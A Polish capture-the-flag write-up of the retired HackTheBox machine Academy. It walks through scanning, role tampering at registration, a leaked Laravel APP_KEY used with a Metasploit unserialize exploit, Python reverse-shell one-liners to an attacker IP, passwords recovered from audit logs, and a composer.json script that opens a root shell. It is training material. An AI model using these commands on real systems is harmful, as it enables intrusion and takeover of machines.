Writeup: Maszyna HackTheBox Academy

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Academy - spełnia ten warunek.

Machine Info

1. TLDR

Academy graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.215

3. Skanowanie i rozpoznanie

Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $nmap -sC -sV -n -Pn -T5 -oN nmap/01-initial.txt $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-26 23:09 CET
Nmap scan report for 10.10.10.215
Host is up (0.038s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.24 seconds

Na serwerze był uruchomiony serwer http, który w odpowiedzi zawarł poprawną nazwę serwera. Dodałem zatem wpis do /etc/hosts

10.10.10.215	academy.htb

I uruchomiłem ponownie skanowanie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $nmap -sC -sV -n -Pn -T5 -oN nmap/02-initial.txt academy.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-26 23:12 CET
Nmap scan report for academy.htb (10.10.10.215)
Host is up (0.035s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds

Tym razem serwer http odpowiedział poprawnie.

Następnie uruchomiłem więc narzędzie gobuster:

└──╼ $gobuster dir -u academy.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://academy.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/26 23:14:45 Starting gobuster
===============================================================
/images (Status: 301)
Progress: 85227 / 220561 (38.64%)

Kolejne narzędzie, które uruchomiłem to nikto:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $nikto -h academy.htb -nossl | tee nikto/01-initial.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.215
+ Target Hostname:    academy.htb
+ Target Port:        80
+ Start Time:         2020-11-26 23:15:38 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Cookie PHPSESSID created without the httponly flag
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-29786: /admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: /admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3092: /admin.php: This might be interesting...
+ /login.php: Admin login page/section found.
+ 7785 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2020-11-26 23:21:38 (GMT1) (360 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!

W międzyczasie odwiedziłem stronę, która prezentowała się jak poniżej:

Academy Mainpage

Kiedy zobaczyłem, w logach nikto oraz źródle strony, że strona jest napisana w php, zatrzymałem gobustera i uruchomiłem go ponownie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $gobuster dir -u academy.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt | tee gobuster/02-php.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://academy.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,htm,txt
[+] Timeout:        10s
===============================================================
2020/11/26 23:20:17 Starting gobuster
===============================================================
/index.php (Status: 200)
/images (Status: 301)
/home.php (Status: 302)
/login.php (Status: 200)
/register.php (Status: 200)
/admin.php (Status: 200)
/config.php (Status: 200)

Odwiedziłem znalezione witryny. Kiedy się przyjrzałem zawartości podstrony /register.php zauważyłem dwa interesujące fakty:

  1. Nie można zarejestrować konta zaczynającego się od cyfry Jest to dość charakterystyczne ograniczenia również dla konta w systemie Linux. Nabrałem podejrzeń, czy rejestracja konta w aplikacji, nie jest jednoznaczna z kontem w systemie operacyjnym, który kontrolował serwer aplikacji internetowej.

  2. W formularzu rejestracyjnym znajdowało się pole o nazwie roleid Nazwa tego pola wskazywała na możliwość manipulacji nadaną w trakcie rejestracji rolą użytkownika.

Academy Register Form

Zmieniłem zatem wartość na 1, podałem dane w formularzu i się zarejestrowałem:

Academy Register Form Filled

Wprowadziłem dane dla założonego konta w formularzu logowania administratora /admin.php

Academy Admin Form Filled

Uzyskałem dostęp do zasobu dostępnego dla administratora (Academy Launch Planner):

Academy Admin Signed In

Z treści dostępnej w planerze dowiedziałem się, że:

  1. istnieją użytkownicy cry0l1t3 oraz mrb3n

  2. istnieje wersja deweloperska aplikacji dev-staging-01.academy.htb

Dodałem zatem wpis do etc/hosts

10.10.10.215	dev-staging-01.academy.htb

Po wejściu na stronę http://dev-staging-01.academy.htb/ dostałem odpowiedź 500 (Internal Server Error). Błąd wystąpił na skutek nieobsłużonego wyjątku. W zwróconej przez serwer odpowiedzi zobaczyłem informacje o błędzie:

Academy Dev

Poniżej, na tej samej stronie odczytałem zwrócone zmienne środowiskowe:

Academy Dev Env

Odczytane interesujące zmienne to:

SERVER_ADMIN    "admin@htb"
APP_NAME	"Laravel"
APP_KEY	    "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
DB_CONNECTION	"mysql"
DB_HOST	"127.0.0.1"
DB_PORT	"3306"
DB_DATABASE	"homestead"
DB_USERNAME	"homestead"
DB_PASSWORD	"secret"
REDIS_HOST	"127.0.0.1"
REDIS_PASSWORD	"null"
REDIS_PORT	"6379"
MAIL_DRIVER	"smtp"
MAIL_HOST	"smtp.mailtrap.io"
MAIL_PORT	"2525"
MAIL_USERNAME	"null"
MAIL_PASSWORD	"null"
MAIL_ENCRYPTION	"null"

Znając APP_KEY do instancji Laravela, poszukałem exploitów, które wykorzystują taką informację:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $searchsploit laravel
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                              |  Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Laravel - 'Hash::make()' Password Truncation Security                                                                       | multiple/remote/39318.txt
Laravel Log Viewer < 0.13.0 - Local File Download                                                                           | php/webapps/44343.py
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)                     | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read                                                                   | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload                                                          | php/webapps/46389.py
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Moją uwagę wrócił exploit wykorzystujący podatność w najwyższej możliwej wersji, którego implementacja była dostępna przez framework Metasploit.

Odszukałem ten exploit w msfconsole i wprowadziłem jego konfigurację:

msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options

Module options (exploit/unix/http/laravel_token_unserialize_exec):

   Name       Current Setting                               Required  Description
   ----       ---------------                               --------  -----------
   APP_KEY    dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=  no        The base64 encoded APP_KEY string from the .env file
   Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     dev-staging-01.academy.htb                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                                            yes       The target port (TCP)
   SSL        false                                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                                             yes       Path to target webapp
   VHOST      dev-staging-01.academy.htb                    no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.14      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Uruchomienie exploita poskutkowało nawiązaniem sesji:

msf6 exploit(unix/http/laravel_token_unserialize_exec) > run

[*] Started reverse TCP handler on 10.10.14.14:4444 
[*] Command shell session 1 opened (10.10.14.14:4444 -> 10.10.10.215:44240) at 2020-12-02 11:53:03 +0100

shell
[*] Trying to find binary(python) on target machine
[-] 
[*] Trying to find binary(python3) on target machine
[*] Found python3 at /usr/bin/python3
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary(bash) on target machine
[*] Found bash at /usr/bin/bash
www-data@academy:/var/www/html/htb-academy-dev-01/public$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Eskalacja uprawnień: www-data ⇨ cry0l1t3

Przygotowałem narzędzie nc:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $nc -nvlp 5555
listening on [any] 5555 ...

Nawiązałem kolejne połączenie:

www-data@academy:/dev/shm$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

i ustabilizowałem nowego shella:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

Znając dane uwierzytelniające homestead:secret spróbowałem podłączyć się do bazy danych:

www-data@academy:/home$ mysql -u dev -p 
Enter password: 
ERROR 1045 (28000): Access denied for user 'homestead'@'localhost' (using password: YES)

Z powodu braku możliwości podłączenia się do bazy, przeszukiwałem zawartość systemu plików, aż trafiłem na plik: /var/www/html/academy/.env

Znalazłem w nim interesującą zawartość:

SERVER_ADMIN    "admin@htb"
APP_NAME=Laravel
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
...
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
...

Znając kolejny zestaw danych uwierzytelniających dev:mySup3rP4s5w0rd!! spróbowałem podłączyć się do bazy. Niestety, ponownie bez sukcesu:

www-data@academy:/var/www/html/academy$ mysql -u dev -p 
Enter password: 
ERROR 1045 (28000): Access denied for user 'dev'@'localhost' (using password: YES)

Spróbowałem jednak uwierzytelnić się w systemie jako jeden z użytkowników używając znanych już mi haseł. Udało mi się uwierzytelnić jako użytkownik cry0l1t3 posługując sie zestawem cry0l1t3:mySup3rP4s5w0rd!!:

www-data@academy:/var/www/html/academy$ su cry0l1t3
Password: 
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)

Pozostało odczytać flagę:

$ cat ~/user.txt
4970aa706ca18e835fb2ad9b07960405

5. Eskalacja uprawnień: cry0l1t3 ⇨ mrb3n

Uruchomiłem serwer www:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $python3 -m http.server 6666
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...

i pobrałem oraz uruchomiłem narzędzie linpeas.sh:

$ wget http://10.10.14.14:6666/linpeas.sh
$ chmod +x linpeas.sh
$ ./linpeas.sh

Na standardowym wyjściu znajdował się interesujący fragment:

[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root adm 2748 Sep 14 20:58 /var/log/apt/term.log.2.gz
-rw-r----- 1 root adm 10682 Aug 12 02:18 /var/log/apt/term.log.3.gz
-rw-r----- 1 root adm 4726 Nov  5 12:55 /var/log/apt/term.log.1.gz
-rw-r----- 1 root adm 2828 Dec  2 10:09 /var/log/apt/term.log
-r--r----- 1 root adm 8388720 Sep  4 03:45 /var/log/audit/audit.log.2
-rw-r----- 1 root adm 137425 Dec  2 11:57 /var/log/audit/audit.log
-r--r----- 1 root adm 8388617 Aug 23 21:45 /var/log/audit/audit.log.3
-r--r----- 1 root adm 8388813 Nov  9 10:11 /var/log/audit/audit.log.1
-rw-r----- 1 root adm 759 Oct 21 09:46 /var/log/apache2/error.log.5.gz
-rw-r----- 1 root adm 336 Sep 11 00:00 /var/log/apache2/error.log.9.gz
-rw-r----- 1 root adm 412 Nov  9 10:11 /var/log/apache2/error.log.2.gz
-rw-r----- 1 root adm 6748 Aug  9 23:51 /var/log/apache2/access.log.7.gz
-rw-r----- 1 root adm 2472 Aug 11 01:06 /var/log/apache2/access.log.5.gz
-rw-r----- 1 root adm 2176936 Dec  2 11:49 /var/log/apache2/access.log
-rw-r----- 1 root adm 0 Aug  7 14:30 /var/log/apache2/other_vhosts_access.log
-rw-r----- 1 root adm 304254 Nov  5 12:56 /var/log/apache2/access.log.1
-rw-r----- 1 root adm 115370 Dec  2 11:49 /var/log/apache2/error.log
-rw-r----- 1 root adm 2902 Aug 10 23:30 /var/log/apache2/access.log.6.gz
-rw-r----- 1 root adm 337 Sep  8 00:00 /var/log/apache2/error.log.12.gz
-rw-r----- 1 root adm 336 Sep  7 00:00 /var/log/apache2/error.log.13.gz
-rw-r----- 1 root adm 275 Oct 21 10:57 /var/log/apache2/error.log.4.gz
-rw-r----- 1 root adm 8042 Aug 12 21:55 /var/log/apache2/access.log.4.gz
-rw-r----- 1 root adm 343 Nov  9 10:14 /var/log/apache2/error.log.1
-rw-r----- 1 root adm 366 Nov  5 14:19 /var/log/apache2/error.log.3.gz
-rw-r----- 1 root adm 2087 Aug 13 13:56 /var/log/apache2/access.log.3.gz
-rw-r----- 1 root adm 336 Sep 10 00:00 /var/log/apache2/error.log.10.gz
-rw-r----- 1 root adm 337 Sep 14 00:00 /var/log/apache2/error.log.6.gz
-rw-r----- 1 root adm 7665 Sep 14 22:59 /var/log/apache2/access.log.2.gz
-rw-r----- 1 root adm 335 Sep 12 00:00 /var/log/apache2/error.log.8.gz
-rw-r----- 1 root adm 338 Sep  9 00:00 /var/log/apache2/error.log.11.gz
-rw-r----- 1 root adm 644 Aug  8 22:35 /var/log/apache2/access.log.8.gz
-rw-r----- 1 root adm 335 Sep 13 00:00 /var/log/apache2/error.log.7.gz
-rw-r----- 1 root adm 334 Sep  6 00:00 /var/log/apache2/error.log.14.gz

Ponieważ uruchomienie przeszukiwania w celu ujawnienia fraz user, pass, hash itp. nie dało istotnych rezultatów, zdecydowałem się na ręczne przeszukiwanie logów. Uzbrojony w herbatę, przeszukując logi, w oczy rzuciła mi się długa fraza:

type=TTY msg=audit(1597199317.622:93): tty pid=2517 uid=1002 auid=0 ses=1 major=
4 minor=1 comm="sh" data=2F62696E2F62617368202D690A
type=TTY msg=audit(1597199443.421:94): tty pid=2606 uid=1002 auid=0 ses=1 major=
4 minor=1 comm="nano" data=1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337
E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1
B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B3
37E1B5B337E1B5B337E18790D
type=TTY msg=audit(1597199533.458:95): tty pid=2643 uid=1002 auid=0 ses=1 major=
4 minor=1 comm="nano" data=1B5B421B5B411B5B411B5B337E1B5B337E1B5B337E1B5B337E1B5
B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5
B337E1B5B337E1B5B337E1B5B337E1B5B427F1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B3
37E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B3
37E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B3
37E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B3
37E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B3
37E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D

Użyłem CyberChef, żeby zdekodować parametry data jako ciągi byte’ów. Odczytany ciąg znaków z pierwszego znalezionego logu to /bin/bash -i.

Odczytałem więc wszystkie ciągi heskadecymalne zawarte w paramacie data:

cry0l1t3@academy:/var/log/audit$ grep -i TTY audit.log.3 | grep -Po '(?<=data=>
7375206D7262336E0A
6D7262336E5F41634064336D79210A
77686F616D690A
657869740A
2F62696E2F62617368202D690A
1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
1B5B421B5B411B5B411B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B427F1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
3618790D
63611B5B411B5B411B5B417F7F636174206175097C206772657020646174613D0D636174206175097C20637574202D663131202D642220220D1B5B411B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B431B5B436772657020646174613D207C200D1B5B41203E202F746D702F646174612E7478740D69640D6364202F746D700D6C730D6E616E6F2064090D636174206409207C207878092D72202D700D6D617F7F7F6E616E6F2064090D6361742064617409207C20787864202D7220700D1B5B411B5B442D0D636174202F7661722F6C6F672F61750974097F7F7F7F7F7F6409617564097C206772657020646174613D0D1B5B411B5B411B5B411B5B411B5B411B5B420D1B5B411B5B411B5B410D1B5B411B5B411B5B410D657869747F7F7F7F686973746F72790D657869740D
657869740A
2F62696E2F62617368202D690A
6973746F72790D686973746F72790D657869740D
657869740A

Zdekodowanie ciągów z wykorzystaniem CyberChef pozwoliło ujawnić historię standardowego wejścia:

su mrb3n
mrb3n_Ac@d3my!
whoami
exit
/bin/bash -i
.[3~.[3~.[3~.[3~.[3~.[B.[3~.[3~.[3~.[3~.[3~.[3~.[B.[3~.[3~.[3~.[3~.[3~.[B.[3~.[3~.[3~.[3~.[3~.[B.[3~.[3~.[3~.[3~.[3~.y
.[B.[A.[A.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[B..[B.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.[3~.y
6.y
ca.[A.[A.[A..cat au	| grep data=
cat au	| cut -f11 -d" "
.[A.[D.[D.[D.[D.[D.[D.[D.[D.[D.[D.[D.[D.[D.[D.[D.[D.[C.[Cgrep data= | 
.[A > /tmp/data.txt
id
cd /tmp
ls
nano d	
cat d	 | xx	-r -p
ma...nano d	
cat dat	 | xxd -r p
.[A.[D-
cat /var/log/au	t	......d	aud	| grep data=
.[A.[A.[A.[A.[A.[B
.[A.[A.[A
.[A.[A.[A
exit....history
exit
exit
/bin/bash -i
istory
history
exit
exit

W ten sposób ujawnione zostało hasło użytkownika mrb3n:mrb3n_Ac@d3my!

Zatem uwierzytelniłem się jako użytkownik mrb3n:

cry0l1t3@academy:/var/log/audit$ su mrb3n
Password: 
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
$ SHELL=/bin/bash script -q /dev/null
mrb3n@academy:/var/log/audit$

6. Eskalacja uprawnień: mrb3n ⇨ root

Sprawdziłem sudo -l:

mrb3n@academy:/dev/shm$ sudo -l 
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

Uruchomiłem narzędzie nc.exe:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $sudo nc -nvlp 7777
listening on [any] 7777 ...

Następnie na serwerze zapisałem plik composer.json:

{
	"scripts": {
		"post-install-cmd": [
			"@connect"
		],
		"connect": [
			"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.14\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
		]
	}
}

i wykonałem skrypt:

mrb3n@academy:/dev/shm$ sudo composer run-script connect
[sudo] password for mrb3n:

w efekcie czego została nawiąna sesja z uprawnieniami roota:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $sudo nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.215] 46548
root@academy:/dev/shm#

Pozostało odczytać flagę:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Academy]
└──╼ $sudo nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.215] 46548
root@academy:/dev/shm# cat /root/root.txt
cat /root/root.txt
22dbc312ea132fb7530fd087f2cf341a